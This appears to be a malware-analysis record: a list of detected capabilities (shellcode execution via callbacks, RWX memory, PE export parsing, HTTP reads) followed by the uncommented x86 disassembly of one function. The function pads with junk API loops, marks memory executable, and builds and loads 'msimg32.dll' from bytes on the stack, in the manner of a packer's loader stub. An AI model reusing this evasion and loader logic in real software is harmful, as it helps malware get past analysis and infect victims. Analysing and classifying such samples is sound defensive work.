Function at 0x8049a0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Query environment variable
Read .ini file
Receive http response
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x806e46
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2df0
call fcn.0040c520
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e169
jge 0x8049ee
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9b1d8e
jle 0x804a0a
cmp dword [esp + 0x10], 0xc095d8
je 0x804a0a
cmp dword [esp + 0x3c], 0x903b058
jne 0x804a13
inc esi
cmp esi, 0x98a5a
jl 0x8049e0
cmp dword [0x266225c], 0xcf8
jne 0x804b10
push edi
push edi
push edi
call fcn.0040491e
push 0x4033e4
push edi
call fcn.0040491e
push edi
push edi
push edi
push edi
call fcn.00404616
push edi
push edi
call fcn.00403e42
push edi
call fcn.004044db
push edi
push edi
call fcn.0040434b
add esp, 0x38
mov dword [esp + 0x70], edi
mov dword [esp + 0x74], edi
mov dword [esp + 0x78], edi
mov dword [esp + 0x2e0c], edi
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x804a80
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x804a9a
push 0x403658
call fcn.00403bdb
cmp esi, 0xf
jbe 0x804aad
push edi
push esi
lea eax, [esp + 0x38]
push eax
call fcn.004039c0
jmp 0x804aba
cmp esi, edi
jne 0x804abc
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x804af7
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], ebx
jae 0x804ad6
lea eax, [esp + 0x30]
push esi
push edi
push eax
call fcn.0040a740
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], ebx
jae 0x804af3
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
cmp dword [esp + 0x44], ebx
jb 0x804b0a
mov ecx, dword [esp + 0x30]
push ecx
call fcn.004049db
add esp, 4
push edi
call fcn.004048cc
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
cmp esi, 0x408
jne 0x804b37
mov eax, 0x5d1
add dword [0x266225c], eax
cmp dword [0x266225c], 3
jne 0x804b56
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0x604]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x804b24
call fcn.008046f0
mov eax, dword [0x266225c]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
xor esi, esi
test eax, eax
je 0x804bd3
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, 0xfe
jne 0x804baa
push 0
call ebx
call ebp
xor eax, eax
lea edx, [esp + 0x10]
push edx
push eax
push eax
lea ecx, [esp + 0xcc]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.00804730
mov eax, dword [0x266225c]
cmp eax, 0x29
jne 0x804bce
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x266225c]
inc esi
cmp esi, eax
jb 0x804b81
cmp eax, 0x70
jne 0x804c7d
push 0
lea edx, [esp + 0xc4]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x4033f0
push 0x403404
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x403410
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea eax, [esp + 0x10]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea ecx, [esp + 0x608]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea edx, [esp + 0xe04]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0x403480
push 0x403540
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x266225c]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x10], 0x9682ab
lea ecx, [ecx]
cmp eax, 3
jne 0x804cd3
push 0
lea eax, [esp + 0x70]
push eax
push 0
lea ecx, [esp + 0xcc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea edx, [esp + 0x4c0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x266225c]
cmp eax, 0xdf
jne 0x804f28
push 0x403590
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
lea edx, [esp + 0x60]
push edx
push eax
push eax
lea ecx, [esp + 0xcc]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
call esi
lea edx, [esp + 0x68]
push edx
call edi
push 0
lea eax, [esp + 0x8c]
push eax
call ebp
push 0
lea ecx, [esp + 0x28]
push ecx
call ebx
push 0
push 0
push 0
push 0x4035b0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov edx, dword [esp + 0x24]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea eax, [esp + 0x1a04]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x64]
push ecx
push 0
lea edx, [esp + 0x38]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea eax, [esp + 0x88]
push eax
call ebx
push 0
lea ecx, [esp + 0x24]
push ecx
call ebp
lea edx, [esp + 0x2c]
push edx
call edi
lea eax, [esp + 0x28]
push eax
push 0
lea ecx, [esp + 0x2208]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
lea edx, [esp + 0x1c]
push edx
push 0x403618
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
lea edx, [esp + 0x1604]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea eax, [esp + 0xe04]
push eax
push 0x403634
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea ecx, [esp + 0x604]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x2604]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea ecx, [esp + 0x94]
push 0
push ecx
mov dword [esp + 0x98], 0
call fcn.00405cd0
add esp, 0xc
push 0
lea edx, [esp + 0x90]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x266225c]
dec dword [esp + 0x10]
jne 0x804ca0
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x804f43
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
lea esp, [esp]
cmp dword [0x266225c], 0x222
jne 0x804f70
push 0
call esi
dec edi
jne 0x804f60
mov ecx, dword [0x266225c]
mov edx, dword [0x8253ec]
lea eax, [esp + 0x18]
push eax
push 0x40
push ecx
push edx
mov byte [0x820658], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00804950
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
cmp dword [0x266225c], 0xba
jne 0x804fbb
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x804fc8
call fcn.00804710
inc esi
cmp esi, 0x1605a
jl 0x804fa2
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov edi, dword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov ebx, 0xf2b8b
cmp dword [0x266225c], 0x21
jne 0x804ff7
push 0
push 0
push 0
push 0
call esi
call edi
dec ebx
jne 0x804fe2
mov ecx, 0x73
mov edx, 0x6d
mov word [0x265829a], cx
mov word [0x265829e], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0x26582a2], ax
mov word [0x26582ae], dx
mov word [0x26582a0], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0x2658298
mov dword [0x26582a8], 0x6c0064
mov word [0x265829c], dx
mov word [0x2658298], ax
mov word [0x26582ac], cx
mov dword [0x26582a4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x266225c], 0xc30
jne 0x8050f7
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push ebx
lea ecx, [esp + 0x1c]
push ecx
push ebx
lea edx, [esp + 0x60c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
lea eax, [esp + 0xe04]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x34]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x2e04]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret